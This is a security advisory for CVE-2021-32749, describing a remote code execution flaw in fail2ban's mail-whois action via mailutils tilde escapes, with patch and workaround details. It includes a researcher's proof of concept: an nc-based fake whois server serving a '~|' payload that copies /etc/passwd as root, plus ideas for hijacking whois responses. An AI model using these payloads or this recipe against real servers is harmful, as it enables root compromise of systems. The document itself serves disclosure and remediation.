Possible RCE vulnerability in mailing action using mailutils (mail-whois)

High sebres published GHSA-m985-3f3v-cwmm on Jul 16, 2021

Package

action.d/mail-whois + mailutils (mailing action)

Affected versions	Patched versions
<= 9.7, <= 10.6, <= 11.2	0.10.7, 0.11.3

Description

Discovered-by

Jakub Żoczek

Impact

Possible remote code execution vulnerability in mailing action mail-whois

Summary

Command `mail` from mailutils package used in mail actions like `mail-whois` can execute command if unescaped sequences (`\n~`) are available in "foreign" input (for instance in whois output).

Simplified example and illustration for possible fix:

```
- $ printf "RCE: next line will execute command\n~! echo RCE is here\n" | mail -s "RCE" "$mail_address"
- RCE is here
+ $ printf "RCE: next line will execute command\n~! echo No RCE here\n" | mail -E 'set escape' -s "RCE" "$mail_address"
```

Patches

0.9 - `2ed414e`
0.10, 0.11, 1.0 - `410a6ce`

Users can also upgrade to 0.10.7, 0.11.3

Workarounds

The way for users to fix or remediate the vulnerability without upgrading would be to avoid the usage of action `mail-whois` , to use alternative packages like `mailx` , `bsd-mailx` etc or to patch it manually.

Original message from researcher:

Hello,

Apologize it took me so long. I'd like to report remote code execution in fail2ban. It requires specific configuration and it's not obvious and easy to exploit, but possible. :) Checked on v1.0.1.dev1 version from github.

The problem is with **mailutils** package, and to be more precise - with tilde escape sequences. As we can read in mailutils manual:

The '~!' escape executes specified command and returns you to mail compose mode without altering your message. When used without arguments, it starts your login shell. The '~|' escape pipes the message composed so far through the given shell command and replaces the message with the output the command produced. If the command produced no output, mail assumes that something went wrong and retains the old contents of your message.

This is how it works in real life:

```
jz@fail2ban:~$ cat -n pwn.txt
     1  Next line will execute command :)
     2  ~! uname -a
     3
     4  Best,
     5  JZ
jz@fail2ban:~$ cat pwn.txt | mail -s "whatever" zoczus@yandex.com
Linux fail2ban 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
jz@fail2ban:~$
```

Which menas that as long as attacker can control *stdin* that goes to *mail* (from *mailutils* package) command - code execution could be achieved.

Then - the interesting configuration file from fail2ban perspective is /etc/fail2ban/action.d/mail-whois.conf fragment:

```
actionban = printf %%b "Hi,\n
            The IP <ip> has just been banned by Fail2Ban after
            <failures> attempts against <name>.\n\n
            Here is more information about <ip> :\n
            `%(_whois_command)s`\n
            Regards,\n
            Fail2Ban"|mail -s "[Fail2Ban] <name>: banned <ip> from <fq-hostname>" <dest>
```

This strictly puts *whois* command output of banned IP address into email. So if attacker could get control over whois output of his own IP address - code execution could be achieved (with root, which is more fun of course).

Controlling whois response, especially for particular IP address could be hard, but couple of things need to be noticed (which I researched a lot before writing this report).

- First of all whois protocol is really simple and use unencrypted communication channel. This means that successfull MITM attack can do the job here. In local network is quite simple, over Internet is way harder (unless you're government of big country and want to massively takeover boxes with fail2ban installed).
- Second - there's something like RWHOIS - you can redirect whois client into referral whois server to get information from referal (for example - this IP use referral whois -> 72.52.94.234). Again, if you're big and rich enough to own some big address class and talk with ARIN that you want to have own referal whois entry in your class - it's all yours. If you'll find an address class with referal whois on domain that doesn't exist anymore - it's all yours.
- Third way is also related to rwhois servers. It's illegal but cybercriminals probably won't care. ARIN released an rwhois daemon, available on github and last updated around 4 years ago. Imagine cybercriminal / black hat finding 0days in this software, then exploiting any rwhois server and use it to attack fail2ban instances. I did some fuzzing, got some crashes already, but didn't have enough time to report them to ARIN yet. One day I will. :)

Anyway, focusing on *fail2ban* problem - each place which is piped into mail command should check if tilde escape sequences are used.

=== [PROOF OF CONCEPT] ==

0. /etc/jail.conf :

```
[sshd]

# To use more aggressive sshd modes set filter parameter "mode" in jail.local:
# normal (default), ddos, extra or aggressive (combines all).
# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and details.
mode    = normal
port    = ssh
enabled = true
logpath = %(sshd_log)s
backend = %(sshd_backend)s
action  = mail-whois[name=ssh, dest=root@localhost,sender=root@localhost]
```

1. Just for poc purposes - we're gonna use local whois "server" ;-)

```
# echo "127.0.0.1 whois.arin.net whois.arin.net" >> /etc/hosts
```

2. In /tmp/pwn.txt put whois respones + tilde escape with command you like.

```
# cat /tmp/pwn.txt
~| cp /etc/passwd /tmp/passwd.txt

NetRange:       34.128.0.0 - 34.191.255.255
CIDR:           34.128.0.0/10
NetName:        GOOGL-2
NetHandle:      NET-34-128-0-0-1
Parent:         NET34 (NET-34-0-0-0-0)
NetType:        Direct Allocation
(...)
```

3. Start your local "whois" server ;-) simply echo the response of /tmp/pwn.txt file.

```
# nc -nvl -p 43 -c "cat /tmp/pwn.txt" -k
```

4. Trigger jail action (make fail2ban ban something).

```
# tail -f /var/log/fail2ban.log
2021-06-20 01:00:29,460 fail2ban.filter         [5467]: INFO    [sshd] Found 139.162.214.90 - 2021-06-20 01:00:29
```

```
2021-06-20 01:00:32,665 fail2ban.filter         [5467]: INFO    [sshd] Found 139.162.214.90 - 2021-06-20 01:00:32
2021-06-20 01:00:41,079 fail2ban.filter         [5467]: INFO    [sshd] Found 139.162.214.90 - 2021-06-20 01:00:40
2021-06-20 01:00:47,088 fail2ban.filter         [5467]: INFO    [sshd] Found 139.162.214.90 - 2021-06-20 01:00:46
2021-06-20 01:00:47,367 fail2ban.actions        [5467]: NOTICE  [sshd] Ban 139.162.214.90
```

5. Received e-mail + command executed

```
You have new mail in /var/mail/root
# ls -l /tmp/passwd.txt
-rw------- 1 root root 1604 Jun 20 01:00 /tmp/passwd.txt
```

Severity

High

CVE ID

CVE-2021-32749

Weaknesses

No CWEs